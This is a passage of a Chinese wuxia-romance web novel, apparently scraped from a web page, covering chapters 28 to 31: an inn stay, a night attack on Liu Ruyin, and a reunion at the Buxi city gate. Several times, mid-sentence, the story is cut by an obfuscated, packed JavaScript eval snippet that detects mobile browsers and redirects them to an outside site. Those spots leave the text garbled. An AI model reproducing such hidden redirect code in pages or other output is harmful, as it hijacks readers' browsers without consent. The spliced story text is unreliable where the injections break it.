“无碍。事已至此，”宁展丢开那念头，转身上车，“寻个客栈休整罢。” “好。”宁佳与隔着荷包摸含桃，抬眼即是宁展一个踉跄把住了门框。 她下意识伸手要扶，宁展快速侧身，对手臂僵在半空的宁佳与道：“天黑，你自己当心些。” 宁佳与茫然道了谢，宁展说罢便掀帘入内，不知听没听着这声谢。 简车折返，很快寻得一处门面大气的客栈。 五人各自拎上包袱，迎着头顶“何处不相逢”的牌匾跨过门槛。 孰料客栈空有其表，门头光鲜，里边却是破破烂烂，楼上更是震起一阵阵熟悉的喧闹，闹得人心烦意更乱。 幸而店内仅是摆件、屋顶各有残缺，四下里被人打扫得还算干净。 掌柜的貌似看惯了客人们满脸期待地进门，又满眼失望退走，麻利赔笑道：“诸位贵客，小店日久失修，绝非存心诱骗生意。几位打算另择他处也好，千万别勉强，千万别骂娘......” 宁展闻言反而径直上前，拿出钱袋，笑微微道：“劳烦掌柜的，我们要四间上房。” “可是......”掌柜略显意外，随即指向二楼，“小店十间上房，现下只剩三间了。您看......” 宁展掂量钱袋，若有所思。 “不若。”他转了身，依次点过自己、以宁、景以承，“我们三人一间。两位姑娘各一间，如何？” 其余人皆点头，示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679233|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意自己无异议，除了景以承。 “不、不好罢！近日乱得很......”景以承抱紧包袱，“怎能让两位姑娘各一间？” “那有什么问题？人姑娘没说话，是您不肯同我和公子挤一个屋，”以宁不悦道，“还当自己是宫里宝贝的金砖。” “胡说！”景以承奋力挥动手中的竹简，申辩道：“我是担心她们二人的安危！” 以宁一记眼刀过去，道：“您何不担心担心自己那一吹就倒的身板，我看两位姑娘的处境未必有您危险。” 以宁虽心生怨怼，却是实事求是。 宁佳与的功夫不必说，更耍得一手好扇子，此地又是在她熟悉的步州境内。 柳如殷好像羸弱无力，步子浮而不稳，但长期独在异乡，自有其防身之法。 相较之下，日日捧着笔墨，一把骨头弱不胜衣似的景以承，比二位姑娘更像盏易碎的花瓶。 景以承不爱面子，可同伴这般看自己，心里难免发堵。他举着竹简壮势，开口却只知道让以宁把话收回去。 经景以承这一提，宁佳与也虑及柳如殷的安危。她是对柳如殷的意图存疑，但——万一呢？ 万一柳如殷并没有她以为的凶狠，且与她有着同样不能宣之于口的隐衷呢？ “柳姑娘，要不你和我一间？我身子骨硬，睡桌边就成。”宁佳与笑道。见柳如殷犹豫，她拍了拍胸脯，“放心，我虽不如柳姑娘穿得严实，但不觉着冷。” 宁佳与分明是对着柳如殷说话，十分真挚，宁展却听得不自在。即若冷不防被虫蚁叮了几口，无关紧要，照样折磨人。 他瞥了眼自己的外袍，越想越觉得日前那件云锦披衣多余。 未待柳如殷应声，景以承失惊道：“......啊？三间房，你们一间，剩下那间……不是要把我分进去罢......这——” 以宁大步冲着景以承去，景以承长了记性，赶忙护住衣襟，边退边打磕巴：“作、作甚！又要打、打我不成？” 景以承在个头儿上就吃了大亏，以宁居高临下，正颜厉色道：“这也不好，那也不妙。二殿下究竟要旁人如何迁就才满意？” “阿宁。”宁展平和提醒。 此二人个中嫌隙，宁展至今不知全貌。以宁情愿说，他便听；以宁不曾提及之处，他不会多问。 然不论恩怨几多，凡事总得讲个轻重缓急。 以宁与以墨久别相聚又匆匆分开，出于体谅，宁展近来待以宁其实放纵太甚了。 宁展平淡的招唤让以宁意识到自己在做什么。他身形一顿，垂于腿侧的拳头竟隐约发颤。 以宁清楚，宁展不会体罚，也没体罚过他。他心惊，是因着近来的所言所行逐一复现眼前。 他伴宁展左右，是要护其平安、稳其心神、助其大业。 以墨之“墨”，取自文怀王后姓氏；“以宁”之“宁”，取自宁展姓氏。意在时刻不忘大恩，时刻不忘报德。 宁展将他视作手足，他却屡屡感情用事。 南下以来，先是因私误公，致殿下中箭；再是借己之便，恳求殿下容许柳氏同行；又是不管不顾，一味顶撞与殿下同为少君的景以承。 桩桩件件，他如今才意识到。 “公子，属下自请同二殿下一屋。”以宁回身道，“负责他的安危。” 28. 邪风 景以承和宁佳与闻言皆是愕然，毕竟景、以二人路上吵嘴的时候，较宁佳与和宁展有过之而无不及，其势堪比嘉宁与墨川之尖锐。 只是他们争在明处，两大州斗在暗处。 宁展视线扫过以宁，面向几人，不紧不慢道：“大家各有所见，柳姑娘意下如何呢？” 这简直是个人精。宁佳与往嘴里扔了颗含桃，腹诽道。 既不着痕迹驳回了以宁的自荐，还将矛盾抛到一向缄默的柳如殷身上，使其不得不开口。 说多，错多。 宁展此举，不是非要乱柳如殷阵脚，而是探其能力深浅。若因此便露了破绽，那柳如殷确实没有宁佳与所想的危险。 末了，顺带立稳他亲和、周到的君子之姿。也不知在这破屋里立与谁看。 冷不丁被点名，柳如殷果然仓皇。但程度谈不上或轻或重，恰如宁展之前扼住她手腕凌厉质问那般。 “民女愚钝。大家快言快语，我却跟不紧。”柳如殷惭愧地笑着，“这会儿只记得元公子最初的说法了......” 看似含糊其词，实则不落人后。她推掉了宁佳与的提议，又迎着风向卖宁展半个人情。 宁佳与嚼碎果肉，略有所得。 “既如此，抱歉了。”宁展转回钱柜，低头拨着碎银，“鄙人两票胜出。” 宁展这几日不是在等急报，便是在看急报，声色俱严。时下忽然冒出一句稚童似的胜负戏言，教宁佳与险些遭果核卡了嗓。 “好好好！”景以承忙改主意，道：“还是这样最妥帖！” 五人稍作休整，业已子时。 景以承闭关修学时，惯是早起早睡，再迟不过亥时正刻。 途中奔波劳碌，五人俨如镇日闷头挤在密不透风的木箱内，没法轻易动弹。纵官道走得通畅，也别想睡个安稳觉。 他累得沾枕即酣眠，却不料木着脸的大个子吃错了哪味药，硬将他从榻上拽起来，且端起杯盏，别别扭扭地说要给他敬茶。 敬茶...... 这大晚上的？！ 景以承被吓得半醒，一个劲往墙边缩，道：“阿宁......哦不！以宁兄，你这是何意啊？你再讨厌我，也不至于、不至......” 不至于要他小命罢！ 以宁背对烛光，不言不动，令人摸不着头脑。 两双手就这盏诡异的茶推搡，书生终究没拗过武夫。景以承哭丧着接过茶盏，恂恂抿下一口。 见他喝得不痛快，以宁捏紧腿侧的拳头，豁出去了：“对不起，二殿下。” 景以承碰了茶水便觉干渴，以宁说话间，他正喝下第二口。两腮兜得满满，是茶，亦尽是惊惧，他从头醒到尾。 “对不起。”以宁兀自鞠躬，“我不该对您恶语相向，不该动辄以武欺人。” 景以承托茶闪避面前赫然压低的脑袋，迟疑道：“......啊？” “‘啊’是什么？你——”以宁说着又有些急了，改嘴不迭：“此前诸般无礼，望二殿下原宥。” 瞧他不似玩笑，景以承终于松了气，认真道：“依你我之间的渊源而言，你对我无礼些，也合情合理啊。何况，那不算恶语相向吧？” “不算？”以宁蹙眉道。 “当然。在景安，我做过扫帚星少君，还做过纨绔土阔佬。自小听的话，比你那狠多了，”景以承搁下茶盏，若无其事，“脏多了。起罢，仔细闪了腰。” 以宁不知应什么，只是艰难直起身子。 “你不必内疚，我抢了你阿姊那么多年。”景以承摆摆手，“恶有恶报。” “这倒是。”以宁点头，又道：“不是.......你，我......” “一茶泯恩仇，这事儿揭过！”景以承好笑道。他翻身窝回榻上，听身后没动静，打趣道：“怎的不去休息？你不是真在茶里给我下了毒罢？” 毒药与否，药性何用，剂量几许。他好歹是以氏门下亲传弟子，不会不知。 以宁端起茶盏，挪步桌前吹了蜡烛，道：“没有。” 没有毒药。 景以承掖着被角昏沉睡去，无力猜想打洗脸水的宁展因何迟迟未归。 三更。 其余七间上房寂若无人，直至屋中最后一点光凭空而逃，客栈伸手不见五指，漆黑作团。 耳畔，破瓦啪嚓碎地，歪门被阵风摇得吱呀响。 这邪风，说大不大，说小，却足以破窗侵入。 楼阁上下，堪破此窗，是以称邪。 柳如殷蓦然起身，那支刻叶弩箭已横在颈间。 屋中本是一片昏暗，然月华凄寒，追邪风而来，洒落于尖利，更倾照着榻前不速之客的背脊。 来者乌衣束身，箭袖缚臂，粗布掩面。 甚至眉目间，竟有黑纱遮眼。 黑纱一遮，是防住了对方，又何尝不是置己于险？ 此人孤身涉险，手腕不可谓不狠辣。 不等柳如殷反应，乌衣人即刻起手扬箭，朝着她心口处猛然突刺！ 她登时侧身站起，踏床前跃，赤脚踩在桌边，与对方拉开五步之距。 柳如殷压身屏息，绕桌缓退。那人亦然借床踏来，高挥弩箭，全不予她喘息之机。 许是屋内陈设坏得七七八八，被掌柜一应撤了去，四周清旷无比。 身边，压根没有反击之物能为她所用！ 柳如殷徒手抵挡数记冲拳。粗略过招，她便了然自己此际不是那人对手，遂绕着方桌一躲再躲，被不知何时横于膝后的长凳绊倒。 刹那，单薄的亵衣任邪风带起，她急中思忖。 此人意图强烈，进屋后，不曾翻箱倒柜，而始终盯她不放，料想并非图财。那不是图色，就是夺命。 若横竖都是死，死也要拉个垫背，不能空着手去了！ 柳如殷全力拽下缠腰细带，扯平绷直，与那人两两相对。 眼看她几至衣襟大开，那人仍是波澜不惊之态，近乎没有丝毫犹豫，箭锋一转，断木带纸，扎入柳如殷肩窝。 乌衣不顿，跃窗而去。 柳如殷边捂着肩窝，边撑住长凳，忍痛起身。她慢步移至窗边，环视远眺。 周遭阴森骇人，唯余邪风鼓动，阁楼独立其间。 她垂睫低眼，就着眼下大片寒光，发现刺入肩窝的并非箭镞，而是半截箭身的断裂处，及一纸染了血的字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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景以承称赞宁佳与是“江湖逸事通”，宁展便是“七州百晓生”。 三大暗阁得以坚持至今且遍布四方，自然各有所长。 迎柳专修骨、易容，改体貌。 听雪专轻功、运气，水上漂。 青竹专通风、罗讯，穷秘辛。 宁展位居青竹掌阁，通他人所通，晓他人不晓。 目前城内的景况，他得讯尚少，但也清楚想要安然无恙地进出步溪城究竟有多不易。 步溪城近来闭门塞户，全界封禁。 若只道蚊虫无法自由出入，那就太谦虚了。便是外州一根牛毛，不得上头应许，绝无过关的可能。 世人皆知步溪王室和光同尘、深居简出，尤其微王及步世子这二位。 却不知打从琛惠帝自退为王、再到辞世归天，多年前被其大败退兵的百夷仿若脱缰之马，越发不受威慑所震，非但数次在七州南境兴风作浪，更几欲出师奇袭。 彼时的百夷精兵重整近五十余载，群情亢奋至极，只想立刻破西南而入，直截攻占琅遇，配合北境大军趁势“声东击西”，将琛惠帝的老巢——嘉宁，打个措手不及，一雪前耻。 岂料南、北、中三军兵分三路时，中军被一众兵强将勇的轻骑杀得丢盔弃甲，致使南、北两军不得不退。 轻骑领兵之将，正是年方二七的步溪少君。 步千弈。 29. 破例 百夷从上到下都不曾同力可拔山的步溪人交过手，即是无从防备，力不从心。 步溪以少胜多，将百夷中军全数斩于关外，兼之微王严禁声张，故其余六州对此役几无所知。 以一当百，虚名薄利，步世子合该是步溪臣民心中空古绝今的神。 换言之，在这位深不可测的“神”面前，便是横扫千军的琛惠帝率昔年旧部起尸回魂，亦然攻不下步溪城门。 宁展自视傲骨，从不求人，即使他并非权贵，亦然如此。 今番之所以向宁佳与开口，一则此局唯她可善解；二则他与步千弈同在高位，各有坚执。 若说宁展的底线是至亲至爱，步千弈的逆鳞便是其死守半生，仍不与外人道之事。 青竹阁探八方风势，穷天下秘辛，独君子之心，不可强挖。 何谓真君子，众口难齐，皆凭自身耳目为断。宁展不确定步千弈是否表里如一，但知他心中有民，便敬他坚执。 再者，听雪阁意图行刺之事尚未查明，实不宜正面冲突。 且试问，宁展近年风头益盛，有多少人不是日夜盼着他同琛惠帝一般名落孙山，抑或“英年早逝”呢？ 至于那位听雪阁李主事，确是宁佳与师父。 师父待她向来是极好的，但宁佳与自小寄人檐下，不知不觉，也练就了察颜观色、辨人喜恶的本事。 她与宁展同行将近月余，又如何不懂宁展今次信托于她下了多大的决心？ 元氏于以家，其实与元氏于她，甚至于她全族，并无二致。 恩是恩，怨是怨。她没法在心怀亏欠的情况下除掉宁展，要杀，便要将过去一应斩断。 礼尚往来这东西，算不清。牵扯再深，说不准哪日便要被礼数逼着以命相抵了。 宁佳与要办件大事，大到并非一柄新扇、一次援手可以相抵。 她独自前往城关，顶着被守卫以“自以为是”斥走的预想，斗胆一试。 若成，皆大欢喜。若不成，也不致浇灭了大家兴冲冲的南行之势，反正是浇在她自个儿头上，不怕凉。 宁佳与踏出客栈时，上房犹在喧嚷，屋内灯烛相映。天空尚未落雨，仅游云攒动，风声萧萧。 是以，她并未提伞，收紧灼如红枫的银骨扇，系回腰侧，慢步而行。 时下更深人静，走走也好。 无论是临阵脱逃，还是败兴归来，都不必担心路上被人取笑。 宁佳与低头盯着前后交替的靴面，阴云在头顶逐层添厚。 走着走着，她蓦然忆起一问。 “为何三大暗阁的士靴，皆是这别无新意的墨色？” 彼时，她未曾看清过迎柳阁的士靴，在七州大典上远远瞧了那墨川少君的随从几眼，见识了坊间所谓的“莺莺燕燕”而已。 那位满口“为何”的哥哥如是答复：“哦，围在墨珩身边的姑娘便是迎柳隐士。” 如此想来，坠地长裙下，应当不会踩着双较鲜衣而言凶气逼人的墨色长靴罢？ 她倾身又问：“这么看，那些姑娘很厉害啊。听雪、青竹均以男子居多，迎柳反是倚靠女娘撑起一方天地与外界抗衡。” 那人若有所思地点点头，似是在斟酌她的随心一提，继而认真道：“迎柳阁中不乏男子。不过，确如你所言。” 七州大典历来设于步溪，也唯有此时，步溪城门大开。 典礼数日后，宁佳与竟破天荒在阁里看见好几位女隐士。 她反复点了人数，虽说堪堪两三位，但隐士在精不在多。 更何况，此前听雪阁同辈中从来只她一女子，闲来无事，就是被师兄弟们拉去射箭、蹴鞠。久而久之，师兄弟便以自卫之名教了她不少恶毒言语、放肆作为，恨不能让她把姑娘家的事忘光才好。 好容易来了姑娘，宁佳与立马向师父讨得招待的活儿，带着几位逛遍步州境内的听雪暗桩，每日美餐佳酿。 又由于太过惬意，被人将黑状告到师父那。吃完糕点，她便痛痛快快上山吃罚酒了。 须知，宁佳与得以破例入阁，是沾着师父的光。她不止一次向师父提及择选女隐士之事，但总是白费工夫。 师父对她少有隐瞒，如实相告：“你当暗阁是什的好去处呀？我们步溪的姑娘，出仕、经商、从艺——走哪条路都成，作甚非得用命证明自己？长命百岁不好么。若不是必须将你带在身边看顾，我才不愿教你来蹚这浑水。” 步溪地界，男子多魁梧、力大。女子则貌美、心细，然筋骨天生不适通脉练功。 如若轻易开了女子入阁的头，她们却难通听雪身法，岂非把人往火坑里推？步溪男多女少，在此之上寻觅骨骼清奇的女子更是难乎其难。 当然，倘掘地三尺地去寻，事实证明，也不是没有结果。但大海捞针劳心劳神，且宁佳与渐渐发现，师父所言不无道理，便再未纠结于此。 对啊，女隐士入阁当日，她就该想到的。 听雪阁真正的掌权人。 须臾，宁佳与脑海中的“为何”尽数涌出，一点点侵吞着千思万绪。 为何孤高。 为何缄口避世。 ...... 为何拣纸鸢。 为何送糕糖。 即如昔日的少年仍在她耳边不厌其烦地问着，为何、为何。 可究竟为何，她好像知道，又好像不知。 宁佳与闷头沉吟，全然不觉天空落雨，关口近在眼前。 直到她瞥见烟丝挂上前方缓缓迎来的银线流云，方才定睛凝神，似乎终于意识到什么，却并非是头顶的阴云细雨。 宁佳与目不转视，看着银丝密密纹，流云绕青靴，不必往上寻那身熟悉的青衫，便能料定来者何人。 不待她抬头，那人先道：“与妹妹。” 声色一如既往温和。 熟悉的青衣束衫果然映入眼帘，接着葱白油伞，以及面对宁佳与始终莞尔的神意。 “青......世子殿下。您，”宁佳与不由退去两步，“为何会在这里？” 过去十载有余，宁佳与第一次如此称呼步千弈。 步千弈左手执伞，追着宁佳与的步子遮雨。 不若风传的冰葫芦作派，他对宁佳与有问必答，乃至显得喋喋不休。 “你此番离家两月，又迟迟没有书信，李主事很担心。日前，白歌说你赶在路上，我在城楼等了五天，依你的速度，早该到了。之后才听闻，你领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679235|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一车拖油瓶，我如何能放心等在原处？还有......” 旁人兴许以为他这是因着和宁佳与日久未见，情有可原，宁佳与却清楚得很，步千弈在诉苦。 诉她离家不归，诉她任人拖累，诉她言语疏离。 步千弈是不会发难于她的人。责怪、怨怼、冷言，皆是她从步千弈那儿听不到的。 不管是谁的意思，听雪阁从未将涉险之事派给宁佳与。她手头的任务，不过惩治打家劫舍者，或把试图潜入听雪暗桩的小贼溜得晕头转向。 让她踏足嘉宁、墨川那般变数难测的地界，万般不能。 听了半晌念叨，宁佳与抬掌投降：“停！” 步千弈倒是停了嘴，青伞也偏与她侧。他低眼莞尔，当是在等宁佳与要说的话。 宁佳与依旧盯着那双流云青靴，迟疑道：“......青哥哥？” 她动身嘉宁前，已有半年没见着步千弈人影。加上离家月余，那声从小唤到大“青哥哥”不免有些难以启齿。 这称谓的起源别无深意，只字面意思。 身着青衣的哥哥。 二人幼年初见，步千弈在宁佳与面前便是一袭青装，往后亦是。 时而长衫，水碧花缎；时而绒袍，黛绿云锦，常常瞧得她眼花缭乱。反观今次这身淡青束衣，不比从前尊贵，更显澄净。 步千弈未应声，仅是轻叹一气，总算提起右手握了许久的绢帕，细细擦拭少许留在宁佳与脸颊、发丝、额前的雨痕。 宁佳与知道，步千弈每每默不作声，十有八九是在等她接下来要说的话。而这话，步千弈指定不爱听。 “你适才说的那些人，都是我路上交的朋友。”她仰着脸，轻声道，“能不能......” “朋友，那几个拖油瓶？” 步千弈像是猜准了她未及言明的后半句，便只问前句。 实则于她所求，步千弈就没有不答应的事。但她如今猜不透步千弈的心思。 宁佳与不能明确的事情日增月盛，步千弈这个人，也变得若即若离。 毕竟他不会一辈子都只是青哥哥。 步千弈收起绢帕，耐心道：“既是你的朋友，没有怠慢的道理。” “真的！？”宁佳与讶异道。 她难以置信，甚至分不清自己因何欢欣。是其余人能够与她一道进城，还是步千弈再次为她破例。 见她双眸熠熠，远比二人适才重逢那一瞬更为明亮，步千弈稍稍敛了眸。他答非所问，却仍然柔声细语。 “与妹妹，若非青竹阁有变，你待何时归家？” 听雪阁有师父，有同窗，有玩伴，有同宁佳与一般年幼失亲的苦命人。 大伙儿在这里吃饭读书，写字练功，朝夕共处。 把暗阁当作家的，不止宁佳与。甚者，甘愿为之出生入死，粉身碎骨。 换作往日，宁佳与定是完了事便马不停蹄往家赶。沿途游山玩水，她也舍不得独享清福，则使唤某只小信鸽就近招几位得闲的同窗一块儿解闷。 宁佳与自知步千弈将她不对劲的心思看了透，步千弈要讲理，她便讲情分。 “青哥哥，我从前贪玩些，你可从来不会训我。” 30. 信鸽 看她如以往那般耍小聪明，步千弈笑颜尤甚。 “可是啊，从前不论行经何处，你时时念着与李主事传信相告。或是路上同白歌打了照面，他也能替你转达一二。而今呢？白歌忙得脚不沾地，都差点没能寻到你的下落。” 提及惯爱告她状的祸首，宁佳与果然有所松动，不见疏离，立马道：“什么呀！他与师父编排我还不够，竟念到青哥哥那儿去了？” 步千弈笑而不语，她接着嘟囔：“臭小子，仗着自己飞得高、跑得快，就四处传的谣。师父就是太相信他，才对我——” 话音未尽，宁佳与无心一瞥，“有偏见”三个字登时哽在喉中。 那只白白胖胖的小信鸽不知在步千弈身后藏了多久，眼见宁佳与言语愈加口无遮拦，这才一脸哀怨露了面。 然白白胖胖亦不过是宁佳与一己私见，盖因她这唯一的同门师兄格外爱吃大米饭。 实际上的白歌本人，乃是上得了厅堂、下得了厨房，飞得过雄鹰、跑得过豹王的阳光七尺好儿郎。 此人不但名通白鸽，且兽身本体正是只羽翼丰满有光泽的小信鸽。 名字固然出自李主事之手，但这般干脆了当，恰如他本人心直口快，因而曾是听雪阁中人缘颇丰的通讯鬼才。 莫说七州境内，便是百夷，甚乎那汪洋之上，也没有他送不到的信函。 自打师父自称带回只漂亮的雪狐，一切都变了。 胡言有云，一锅容不下两个香饽饽，否则就辨不清究竟谁才是最香的那只。 是以，白歌一枝独秀的光辉仅仅维持至宁佳与到来当日。 二位冤家入阁后，白歌时常向李主事告状，管他什的瞎状、糗状、罪状，总之大报一通。李主事师父偏疼宁佳与不假，但也赏罚分明。 为此，宁佳与没少挨罚。俩人的宿怨，轻易消不得。 说起来，与白歌、宁佳与同辈的隐士不但“变心”极快，昨日拥着这个，明日捧着那个，变脸更快。 个个貌似憨厚皮实，实则宁佳与的机诈刁滑大半是从他们那儿学成。 出门在外，无不唯世子殿下“遵守律令”“修身养性”“微笑待人”三句箴言是从，为人处事是明白的步溪民风。 完工归阁，又是那副“教唆人”的嘴脸。 宁佳与如今百般贫嘴不端，离不开自个儿乐学不倦，也少不得众同窗辛勤雕饰。 白歌是一天到晚目睹那群大个子围着宁佳与“胡说乱教”的厉害，故而若不能抢在她前头开口，便要被呛得半个字憋不出来。 这等哑巴亏，他从前吃足了。 趁宁佳与犹未回神，白歌忙先发制人，正色道：“教你尽学些乱七八糟的东西。我好歹是你师兄，你一口一个‘这小子、那小子’，哪里还有点听雪的儒雅风范？” 他架子摆得十足，不想出口还是老生常谈的教言，听得宁佳与耳朵起了八百回茧。 白歌是偷鸡不成，言语间反倒令死对头松弛下来。宁佳与两臂一端，不满道：“师兄？在下孤陋寡闻，没见过哪个门派的师兄成日正事儿不办，就急着告师妹的瞎状。” 白歌气急，上前道：“你——你！要不是我在嘉宁寻得你的音讯，师父都要担心死了！” 诚如步千弈所言，白歌的确忙得夜不敢寐，却是处处不见宁佳与人影。以她的身手，有心藏身，只靠白歌一人的确棘手。 可彼时步千弈身在关外，让通讯鬼才都焦头烂额的事，再没谁能帮上忙了。 皇天不负苦命鸽。 整整十数个日夜，他终于在嘉宁城郊遇上那匹宁佳与“遗失”的听雪阁快马，此事方才有了眉目。 白歌为她煞费心神，时下反受指斥，岂能不气不急？ 碍着白歌，宁佳与在师父那蒙冤多时，凭他如何，必不领情。 “我是照常奉命外遣，只不过日子拖得久了些。你又何必跟来寻我。” 言下之意，他自找的。 而白歌那张嘴，哪怕在宁佳与面前从来是斗不过三岁小儿、争不过六旬老汉的水准，依旧不甘示弱：“胡说八道！这种凶险难料的事，师父何时让你碰过？你又是照的哪般常，奉的谁人命？！” 闻言，宁佳与霎时恼得脸蛋飞红。她捏住腰侧的银骨扇，沉声道：“我从前才疏学浅，后来出手得卢。如何不能碰？” 师父觉着她不成，白歌也觉着她不成。 那水上漂、云中过，起初白歌还能与她轮番夺魁，自她年满十三，听雪阁再没她的对手。 时至今日，最亲近的长辈和同窗仍当她难胜大任。她不是听雪阁的废物闲人，是什么？ 说罢，宁佳与自觉无趣，摆手出了青伞。 白歌眉心紧锁，高喝道：“你又要去哪？回来！” 她不予理睬，白歌更是赌气：“你都快十八的人了，竟还如此顽劣，回去之后，师父定要关你禁闭！就算有五十个大师兄替你挡板子，也保不住你！” 步千弈从容追上宁佳与，侧伞就她，婉言宽慰：“我保证，听雪阁没人可以质疑你的能力。只是万事还须循序渐进。与妹妹以为呢？” “我知道，是我心急。”宁佳与驻步伞下。她望了眼返程的路，似见雨势渐小，“时辰不早了，青哥哥尽快回罢。咱们还是老样子，辰时正刻，城门见，可好？” 每逢宁佳与外出归来，即是步千弈青衣执伞，候在城关。 晴日遮阳，阴天避雨，言笑同行。 步千弈清楚她的考量，只将青伞递与她，点头道：“好。我一定守时。” 话虽至此，他放心不下，于是远远隔开一段，静步相送。看宁佳与安然踏入客栈，方折返回城。 让旁人知晓她与步溪世子相熟，本不见得不妥。 眼下事态不明，七州、三阁缠夹不清，宁佳与左手是朋友和世子，右手也是朋友和世子。 且不问她立场究竟，两位世子中间，便不止她一介民女而已。 - 对于那俨如神驻的步溪城门，宁展是奈何不得。可堂堂掌阁，弄六张以假乱真的通关文碟，不在话下。 至于宁佳与原本准备的文书，那是万万不能用。 关口一早便换了批新的大个子守卫，那守卫偏偏盯上了宁佳与，且越瞧她越深感奇异，兀自交头接耳地叨咕着。 此情此景，她只消全心全意埋头啃大饼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679236|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，大伙儿自然相安无事。 辰初三刻，青竹简车载着六人顺利通关入境。 先前赶车的那位与他们分头而行，时下以宁在外驱车，两位姑娘同坐一侧，舆内宽舒许多。 景以承将竹简卷入怀中，冷不丁发问：“这个......小与姑娘，你可是思乡心切？” “嗯？”宁佳与嚼着饼，张不开嘴，不知景以承有何指教。 “先前在客栈，我瞧你食不下咽。现在却能吃得如此——”景以承看着有些凌乱的宁佳与，几番措辞，接道：“豪放。难道不是触景生情吗？” 宁佳与手上一顿，意识到自己啃得满嘴油光。再低头一瞧，她殷红的衣摆将碎渣子兜得完好，半点儿没掉地上。 她笑眯眯收了饼袋，仓促腾出空说话：“多谢景公子提醒。抱歉抱歉，在下失礼了。” 宁展先她一诧，宁佳与亦然自觉不对劲。 她？ 何时在意起那些于她而言繁琐至极的仪节礼教了？ 柳如殷不言语，但手上没闲着，又是给宁佳与递水，又是替她擦嘴，俨如守着三岁小妹进食的家中长姐。 二人沿途中相依作伴。 柳如殷牵着宁佳与梳妆简扮，为她渐渐拾起些姑娘家的事。 宁佳与则学着柳如殷的指法手势，非得给人梳个新式的发髻瞧瞧。末了瞧，压根不像回事，柳如殷却夸她心灵手巧。 一来二去，原本的陌路处得比余下几对旧识都好。 宁佳与本欲道谢，无奈喉中干涩，手上更是不受控似的，接了水壶便饮，至多弯着眼对柳如殷致谢。 她心意固然诚挚，模样却十分招笑。 “何须抱歉？我看小与姑娘归心似箭胃口好，很是替你高兴！”景以承开朗道。宁佳与咽着水点头，他又善意添补：“胃口好，也别吃急了，当心噎着。吃完再买就是，这钱，咱们还是有的，对吧元兄？” “喀——” 宁佳与快速捂嘴，扭头对着车壁，噎得不轻。 “喀喀喀喀......” 以宁背倚门框，将舆内对话听得真切。 他昨夜才与景以承冰释前嫌，只能暗自腹诽，景以承若生在步溪，本体怎么也得是个“报喜鸟”。 宁佳与放下水壶，呛得面红耳赤。柳如殷见状好笑又怜爱，柔声叮嘱她慢些，轻手顺着她的脊背。 景以承双手合十，内疚非常，一时不敢贸然开口。 宁展本当抓住这难得的时机，同宁佳与好好说说仪节的重要性，他目光却莫名顿在柳如殷那侧。 两位姑娘皆是心思敏感之人，双双捕捉到他短暂停留的视线。 柳如殷微微颔首，沉默笑对。 宁佳与顺过气儿来，朝对面惶恐不安的景以承摆手示意无碍。幸而景以承是真没心眼，开朗复现。 她回首看向宁展，道：“怎么了元公子？” 早在柳如殷颔首致意前，宁展便敛了视线。被人问及此事，他神色亦并无波动，反而略显关切。 “步溪近来不太平，进了城，两位姑娘可要多多留神。”说着，他转向景以承，“尤其是夜间。景公子也须当心。” 31. 入夏 世子老师关怀备至，景以承哪有不乐开花的道理？他美滋滋道：“有元兄和阿宁此等武学高手在侧，我简直不要太安心啦！” 听得那称谓，以宁顿感恶寒上身。 宁佳与不知宁展打的什么算盘，敷衍道：“嗯，好，明白。” “多谢元公子。”柳如殷接着宁佳与的话尾，含笑道。 景以承苦等数日，终于等到宁展神完气足时，赶忙掏出包袱里的小册，追着他讨教个没完。 两位姑娘相视而笑。 柳如殷将宁佳与高束的长发缓缓捋齐。宁佳与下意识瞥向柳如殷刺了红纹的腕间，又觉此举似乎不妥，转视凝睇自个儿掌间的护套。 宁展便是一面口角生风，对付着景以承的连环追问，一面将宁佳与微妙的反应收入眼底。 谈笑间，简车渐停。 四下一片空寂，孟夏风动，撩起窗角纱幔。 宁展警觉侧首，隔帘对外低问：“怎么了？” 以宁也戒备，戒备道：“公子，前头一主一从，看样子要拦路。” 宁佳与紧着打圆场，笑说：“误会、误会，我下去沟通一番。” 宁展双手交握，指间稍紧，严肃道：“你确定？” 然而确定什么，他并未言明，教人不知从何作答。 宁佳与身子起了一半，哪料景以承也帮着宁展打岔：“对啊小与姑娘，你确定要一敌二吗？三思啊！” 宁展没想景以承会是这么个说法，宁佳与亦然失语，二人双双转头看他，脸上爬满不解。 景以承见宁佳与似在游移，锲而不舍道：“我说真的呀，你们别不信！我虽不了解步世子，可他绝不是元兄这般好相与的！” 